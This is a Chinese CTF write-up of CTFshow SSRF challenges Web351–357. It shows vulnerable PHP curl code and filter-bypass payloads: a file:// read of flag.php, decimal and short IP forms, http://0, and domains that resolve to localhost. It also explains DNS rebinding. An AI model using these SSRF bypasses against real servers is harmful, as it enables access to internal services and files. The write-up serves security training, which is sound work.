CTFshow

Web351

题目

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0); #关闭所有错误报告,防止错误信息泄露给用户
highlight_file(__FILE__); #高亮显示当前文件
$url=$_POST['url']; #使用POST方法传递参数url,赋值给变量$url,这里并没有验证用户的输入
$ch=curl_init($url); #初始化cURL会话,用户提供的URL将被用于发起HTTP请求
curl_setopt($ch, CURLOPT_HEADER, 0); #表示不包含响应头在输出中
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); #让curl_exec返回获取的内容不是直接输出
$result=curl_exec($ch); #执行curl_exec,结果存入$result
curl_close($ch); #关闭会话
echo ($result); #输出结果
?>

前置基础讲解

curl_exec函数用于执行给定的cURL会话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 创建一个cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.w3cschool.cc/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

payload

1
2
3
url=127.0.0.1/flag.php

url=file:///var/www/html/flag.php
  • 为什么是127.0.0.1(localhost)?因为这样可以通过SSRF漏洞让服务器向自己发起请求,利用本地换回地址绕过外部防火墙或访问限制
  • /var是Linux系统中存放可变数据的目录
  • /var/www通常是Web服务器存放网页文件的默认位置
  • html目录是Web服务器的文档根目录,所有可通过Web访问的文件都应放在这里

Web352

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

前置基础知识

parse_url函数
1
parse_url(参数1,参数2)

参数1:必填,是一个完整的url

参数2:非必填,是一个大写参数变量,直接获取结果集的一部分

参数2如下

1
PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、 PHP_URL_QUERY 、 PHP_URL_FRAGMENT

函数解析一个URL并返回一个关联数组,包含在URL中出现的各种组成部分

关联数组:

1
2
3
4
5
6
7
8
9
10
11
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
die函数

die()函数输出一条消息,并退出当前脚本。是exit()函数的别名

1
die(message) #信息用''括起来
preg_match函数

https://www.runoob.com/php/php-preg_match.html

1
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
  • $pattern:要搜索的模式,字符串形式
  • $subject:输入字符串

中括号表示可选参数,括号的嵌套表现了其嵌套关系

题目分析

这里要求url必须是http(s)协议,并且不能包含127.0.0.1和localhost。这里可以将IP转化为长整型

1
127.0.0.1
1
0111 1111 0000 0000 0000 0000 0000 0001
1
2130706433

构建payload

1
url=http://2130706433/flag.php

思考

这里真的有限制吗?实则不然

preg_match参数没有给全 :nerd_face:

Web353

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

直接用上一道题的思路也可以做

其他思路

  1. 127/172开头就代表内网地址,不一定非得127.0.0.1
  2. Linux中0表示自身的地址,可以使用http://0/flag.php绕过
  3. 使用sudo.cc代替127.0.0.1

Web354

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

题目分析

url过滤包含1和0

  1. 使用解析到127.0.0.1的url(302跳转)
1
2
3
4
5
6
7
8
9
10
11
http://safe.taobao.com/

http://114.taobao.com/

http://wifi.aliyun.com/

http://imis.qq.com/

http://localhost.sec.qq.com/

http://ecd.tencent.com/
  1. 使用sudo.cc

Web355

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

题目分析

要求主机字符数不大于5

那么直接使用0即可

其他思路

  1. url=http://127.1/flag.php

Web356

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

没得说

Web357

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme

前置基础知识

filter_var函数
1
filter_var(variable,filter,options)

varieble:必须。规定要过滤的变量

filter:可选。规定要使用的过滤器的ID。默认是FILTER_SANTIZE_STRING

FILTER_VALIDATE_IP: 把值作为IP地址来验证,只限IPv4或IPv6或不是来自私有或者保留的范围

所有filter

option:可选。规定一个包含标志/选项的关联数组或者一个单一的标志/选项。检查每个过滤器可能的标志和选项

  • FILTER_FLAG_NO_PRIV_RANGE:排除IPv4私有地址段

​ 过滤范围: 192.168.0.0/16192.168.0.0/16(192.168.0.0 - 192.168.255.255) 10.0.0.0/810.0.0.0/8(10.0.0.0 - 10.255.255.255) 172.16.0.0/12172.16.0.0/12(172.16.0.0 - 172.31.255.255)

  • FILTER_FLAG_NO_RES_RANGE:排除特殊用途 IP 段

​ 过滤范围: 0.0.0.0/80.0.0.0/8(保留地址) 127.0.0.0/8127.0.0.0/8(环回地址) 169.254.0.0/16169.254.0.0/16(链路本地地址) 224.0.0.0/4224.0.0.0/4(多播地址) 240.0.0.0/4240.0.0.0/4(未来保留)

DNS rebinding(DNS重新绑定攻击)

dwords(双字)编码

将IP地址转换为32位无符号整型数值,其变种可以转化成十六进制或八进制

攻击流程

攻击者注册一个域名,设置很短的TTL,先指向一个合法的公网IP,然后再TTL过期后更新位内网IP。当客户端首次解析域名时得到合法IP,但在后续请求时由于DNS缓存过期,重新解析得到内网IP,从而绕过同源策略,访问本地服务。

攻击终点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址。

TTL是英语Time-To-Live的简称,意思为一条域名解析在DNS服务器中的存留时间。当各地的NS服务器接收到解析请求时,就会向域名指定的DNS服务器发出解析请求从而获得解析记录。在获得这个记录之后,记录会在DNS服务器中保存一段时间,这段时间如果再接到这个域名的解析请求,DNS服务器将不再向NS服务器发出请求,而是直接返回刚才获得的记录;而这个记录再DNS服务器上保留的时间,就是TTL值

题目分析

代码中一共对域名进行了两次请求,第一次是gethostbyname方法,第二次则是file_get_contets文件读取。

Web358

待开发

Web359

待开发

Web360

待开发

flag not here, and flag in ffffllllaaaagggg